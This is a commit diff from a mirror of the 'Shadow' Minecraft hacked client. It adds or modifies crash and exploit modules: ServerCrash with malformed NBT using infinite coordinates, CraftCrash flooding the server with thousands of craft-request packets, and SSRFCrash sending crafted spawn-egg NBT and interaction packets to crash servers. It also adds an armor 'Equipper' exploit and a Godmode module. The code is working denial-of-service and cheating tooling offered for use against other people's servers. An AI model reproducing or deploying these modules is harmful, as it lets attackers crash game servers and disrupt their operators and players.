mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
Merge remote-tracking branch 'origin/master'
This commit is contained in:
commit
fd9f4f8686
7 changed files with 274 additions and 8 deletions
|
@ -90,9 +90,9 @@ public class ServerCrash extends Command {
|
|||
case "malformednbt" -> {
|
||||
ItemStack ez = new ItemStack(Items.CHEST, 1);
|
||||
NbtCompound nbt = new NbtCompound();
|
||||
nbt.put("x", NbtDouble.of(Double.MAX_VALUE));
|
||||
nbt.put("x", NbtDouble.of(Double.POSITIVE_INFINITY));
|
||||
nbt.put("y", NbtDouble.of(0.0d));
|
||||
nbt.put("z", NbtDouble.of(Double.MAX_VALUE));
|
||||
nbt.put("z", NbtDouble.of(Double.NEGATIVE_INFINITY));
|
||||
NbtCompound fuck = new NbtCompound();
|
||||
fuck.put("BlockEntityTag", nbt);
|
||||
ez.setNbt(fuck);
|
||||
|
|
|
@ -31,6 +31,7 @@ import net.shadow.client.feature.module.impl.crash.LecternCrash;
|
|||
import net.shadow.client.feature.module.impl.crash.LoominaCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.MinehutCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.OOBCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.SSRFCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiRDI;
|
||||
import net.shadow.client.feature.module.impl.exploit.BoatCrash;
|
||||
|
@ -39,6 +40,7 @@ import net.shadow.client.feature.module.impl.exploit.BrandSpoof;
|
|||
import net.shadow.client.feature.module.impl.exploit.CarpetBomb;
|
||||
import net.shadow.client.feature.module.impl.exploit.ChunkCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer;
|
||||
import net.shadow.client.feature.module.impl.exploit.Equipper;
|
||||
import net.shadow.client.feature.module.impl.exploit.FilterBypass;
|
||||
import net.shadow.client.feature.module.impl.exploit.InstaBow;
|
||||
import net.shadow.client.feature.module.impl.exploit.OffhandCrash;
|
||||
|
@ -130,6 +132,7 @@ import net.shadow.client.feature.module.impl.world.Boom;
|
|||
import net.shadow.client.feature.module.impl.world.FastUse;
|
||||
import net.shadow.client.feature.module.impl.world.Flattener;
|
||||
import net.shadow.client.feature.module.impl.world.GodBridge;
|
||||
import net.shadow.client.feature.module.impl.world.Godmode;
|
||||
import net.shadow.client.feature.module.impl.world.InstantBreak;
|
||||
import net.shadow.client.feature.module.impl.world.MassUse;
|
||||
import net.shadow.client.feature.module.impl.world.NoBreakDelay;
|
||||
|
@ -339,14 +342,16 @@ public class ModuleRegistry {
|
|||
registerModule(ClickTP.class);
|
||||
registerModule(ChestHighlighter.class);
|
||||
registerModule(MoreChatHistory.class);
|
||||
//untested
|
||||
registerModule(ClientCrasher.class);
|
||||
registerModule(ConsoleSpammer.class);
|
||||
registerModule(CraftCrash.class);
|
||||
registerModule(ItemPuke.class);
|
||||
registerModule(EntityCrash.class);
|
||||
|
||||
registerModule(IRC.class);
|
||||
registerModule(SSRFCrash.class);
|
||||
registerModule(Equipper.class);
|
||||
registerModule(Godmode.class);
|
||||
|
||||
|
||||
rebuildSharedModuleList();
|
||||
}
|
||||
|
|
|
@ -35,6 +35,7 @@ import java.util.Random;
|
|||
|
||||
public class ClientCrasher extends Module {
|
||||
|
||||
boolean sends = true;
|
||||
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get());
|
||||
final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get());
|
||||
|
@ -48,6 +49,7 @@ public class ClientCrasher extends Module {
|
|||
@EventListener(type = EventType.PACKET_SEND)
|
||||
void giveAShit(PacketEvent event) {
|
||||
if (mode.getValue() != Mode.Place) return;
|
||||
if(!sends) return;
|
||||
if (!this.isEnabled()) return;
|
||||
if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
|
||||
return;
|
||||
|
@ -72,8 +74,9 @@ public class ClientCrasher extends Module {
|
|||
else
|
||||
newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0),
|
||||
packet.getPitch(0), true);
|
||||
|
||||
sends = false;
|
||||
client.player.networkHandler.getConnection().send(newPacket);
|
||||
sends = true;
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -148,6 +151,7 @@ public class ClientCrasher extends Module {
|
|||
|
||||
@Override
|
||||
public void enable() {
|
||||
this.selectedbreaker = client.player.getBlockPos();
|
||||
}
|
||||
|
||||
@Override
|
||||
|
|
|
@ -51,19 +51,32 @@ public class CraftCrash extends Module {
|
|||
@Override
|
||||
public void tick() {
|
||||
if (client.currentScreen instanceof CraftingScreen && !isListening) {
|
||||
ticks++;
|
||||
int sync = client.player.currentScreenHandler.syncId;
|
||||
superticks++;
|
||||
if (superticks % 15 == 0) {
|
||||
for (int i = 0; i < 3; i++) {
|
||||
if(ticks % 15 == 0){
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Disabling stream...");
|
||||
for(int i = 0; i < 50; i++){
|
||||
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true));
|
||||
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true));
|
||||
}
|
||||
}
|
||||
if(ticks % 75 == 0){
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Sent Payload!");
|
||||
for(int i = 0; i < 2000; i++){
|
||||
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true));
|
||||
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true));
|
||||
}
|
||||
this.setEnabled(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
this.isListening = true;
|
||||
stick = null;
|
||||
buton = null;
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Click two crafting recipies");
|
||||
}
|
||||
|
||||
@Override
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.crash;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.*;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.hit.BlockHitResult;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
public class SSRFCrash extends Module {
|
||||
|
||||
public SSRFCrash() {
|
||||
super("SSRFCrash", "Crash using server side web requests", ModuleType.CRASH);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
for (int i = 0; i < 3; i++) {
|
||||
ItemStack krash = new ItemStack(Items.WOLF_SPAWN_EGG, 1);
|
||||
NbtCompound kompound = new NbtCompound();
|
||||
NbtCompound kompound2 = new NbtCompound();
|
||||
NbtList effects = new NbtList();
|
||||
NbtCompound invis = new NbtCompound();
|
||||
NbtCompound damage = new NbtCompound();
|
||||
damage.put("Id", NbtByte.of((byte) 7));
|
||||
damage.put("Amplifier", NbtByte.of((byte) 4));
|
||||
damage.put("Duration", NbtInt.of(2000));
|
||||
invis.put("Id", NbtByte.of((byte) 14));
|
||||
invis.put("Amplifier", NbtByte.of((byte) 4));
|
||||
invis.put("Duration", NbtInt.of(2000));
|
||||
effects.add(damage);
|
||||
effects.add(invis);
|
||||
kompound2.put("ActiveEffects", effects);
|
||||
kompound2.put("Owner", NbtString.of(rndStr(15)));
|
||||
kompound2.put("Tamed", NbtByte.of(true));
|
||||
kompound.put("EntityTag", kompound2);
|
||||
krash.setNbt(kompound);
|
||||
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, krash));
|
||||
try {
|
||||
client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(new Vec3d(0, 0, 0), Direction.UP, client.player.getBlockPos(), true)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
private String rndStr(int size) {
|
||||
StringBuilder buf = new StringBuilder();
|
||||
String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
|
||||
Random r = new Random();
|
||||
for (int i = 0; i < size; i++) {
|
||||
buf.append(chars[r.nextInt(chars.length)]);
|
||||
}
|
||||
return buf.toString();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.exploit;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.helper.event.EventListener;
|
||||
import net.shadow.client.helper.event.EventType;
|
||||
import net.shadow.client.helper.event.events.PacketEvent;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
|
||||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
|
||||
import net.minecraft.screen.slot.SlotActionType;
|
||||
|
||||
public class Equipper extends Module {
|
||||
|
||||
public Equipper() {
|
||||
super("Equipper", "equips anything as armor", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@EventListener(type=EventType.PACKET_SEND)
|
||||
void giveAShit(PacketEvent event){
|
||||
if (event.getPacket() instanceof ClickSlotC2SPacket packet) {
|
||||
if (packet.getActionType() == SlotActionType.PICKUP && packet.getButton() == 0 && packet.getSlot() >= 5 && packet.getSlot() <= 8) {
|
||||
int slot = packet.getSlot() - 5;
|
||||
int saveslot = getSaveSlot();
|
||||
event.setCancelled(true);
|
||||
client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 0, SlotActionType.PICKUP, client.player);
|
||||
client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 39 - slot, SlotActionType.SWAP, client.player);
|
||||
client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 0, SlotActionType.PICKUP, client.player);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private int getSaveSlot() {
|
||||
for (int i = 0; i < 9; i++) {
|
||||
if (!client.player.getInventory().getStack(i).isEmpty())
|
||||
continue;
|
||||
|
||||
return i + 36;
|
||||
}
|
||||
return 36;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,79 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.world;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.c2s.play.ClientCommandC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.ClientStatusC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.helper.event.EventListener;
|
||||
import net.shadow.client.helper.event.EventType;
|
||||
import net.shadow.client.helper.event.events.PacketEvent;
|
||||
import net.shadow.client.feature.config.EnumSetting;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
|
||||
public class Godmode extends Module {
|
||||
|
||||
int ticks;
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Vanilla).name("Mode").description("The mode to get god in").get());
|
||||
|
||||
public Godmode() {
|
||||
super("Godmode", "God mods", ModuleType.WORLD);
|
||||
}
|
||||
|
||||
@EventListener(type=EventType.PACKET_SEND)
|
||||
void giveAShit(PacketEvent event){
|
||||
if(event.getPacket() instanceof ClientStatusC2SPacket packet){
|
||||
if(packet.getMode() == ClientStatusC2SPacket.Mode.PERFORM_RESPAWN){
|
||||
event.setCancelled(true);
|
||||
client.setScreen(null);
|
||||
client.currentScreen = null;
|
||||
client.player.setHealth(20F);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
if(mode.getValue() == Mode.Matrix){
|
||||
ticks++;
|
||||
if (ticks % 10 == 0) {
|
||||
for (int i = 0; i < 2; i++) {
|
||||
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), client.player.getY() + 5, client.player.getZ(), true));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public enum Mode {
|
||||
Vanilla,
|
||||
Matrix
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue